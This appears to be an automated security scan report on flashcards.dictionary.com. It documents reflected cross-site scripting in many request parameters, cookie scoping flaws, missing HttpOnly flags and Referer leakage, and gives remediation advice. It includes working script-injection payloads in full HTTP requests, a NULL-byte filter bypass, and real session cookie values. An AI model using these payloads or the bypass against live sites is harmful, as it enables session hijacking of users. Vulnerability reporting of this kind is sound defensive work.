Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the __utma request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67101"><script>alert(1)</script>46bf77ee43f was submitted in the __utma parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.167101"><script>alert(1)</script>46bf77ee43f&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
The value of the __utmb request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bdd4"><script>alert(1)</script>7246e8f24a8 was submitted in the __utmb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.13009878447bdd4"><script>alert(1)</script>7246e8f24a8&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
The value of the __utmc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 144f1"><script>alert(1)</script>f0319d05664 was submitted in the __utmc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1144f1"><script>alert(1)</script>f0319d05664&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
The value of the __utmk request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfc06"><script>alert(1)</script>5a308670545 was submitted in the __utmk parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926cfc06"><script>alert(1)</script>5a308670545 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2010/fbml" xmlns:og="http://openg ...[SNIP]... nary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926cfc06"><script>alert(1)</script>5a308670545" /> ...[SNIP]...
The value of the __utmv request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2f4f"><script>alert(1)</script>d8406bc5d9a was submitted in the __utmv parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-e2f4f"><script>alert(1)</script>d8406bc5d9a&__utmk=99520926 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2010/fbml" xmlns:og="http://openg ...[SNIP]... lashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-e2f4f"><script>alert(1)</script>d8406bc5d9a&__utmk=99520926" /> ...[SNIP]...
The value of the __utmx request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb603"><script>alert(1)</script>19ae98427f2 was submitted in the __utmx parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-fb603"><script>alert(1)</script>19ae98427f2&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
The value of the __utmz request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0441"><script>alert(1)</script>04524556f19 was submitted in the __utmz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)c0441"><script>alert(1)</script>04524556f19&__utmv=-&__utmk=99520926 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2010/fbml" xmlns:og="http://openg ...[SNIP]... "http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)c0441"><script>alert(1)</script>04524556f19&__utmv=-&__utmk=99520926" /> ...[SNIP]...
1.8. http://flashcards.dictionary.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://flashcards.dictionary.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00ee1eb"><script>alert(1)</script>c3e5e0f1880 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ee1eb"><script>alert(1)</script>c3e5e0f1880 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926&%00ee1eb"><script>alert(1)</script>c3e5e0f1880=1 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2010/fbml" xmlns:og="http://openg ...[SNIP]... .com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926&%00ee1eb"><script>alert(1)</script>c3e5e0f1880=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac6c8"><script>alert(1)</script>954dbd86111 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fac7e"><script>alert(1)</script>0b46d132f6e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2010/fbml" xmlns:og="http://openg ...[SNIP]... <link rel="canonical" href="http://flashcards.dictionary.com/mydecksfac7e"><script>alert(1)</script>0b46d132f6e" /> ...[SNIP]...
1.11. http://flashcards.dictionary.com/mydecks [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://flashcards.dictionary.com
Path:
/mydecks
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0042511"><script>alert(1)</script>3383141caac was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 42511"><script>alert(1)</script>3383141caac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2010/fbml" xmlns:og="http://openg ...[SNIP]...
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2010/fbml" xmlns:og="http://openg ...[SNIP]...
3. Cookie without HttpOnly flag setpreviousnext There are 2 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1 Host: flashcards.dictionary.com Proxy-Connection: keep-alive Referer: http://www.reference.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2010/fbml" xmlns:og="http://openg ...[SNIP]...
The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2010/fbml" xmlns:og="http://openg ...[SNIP]...
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
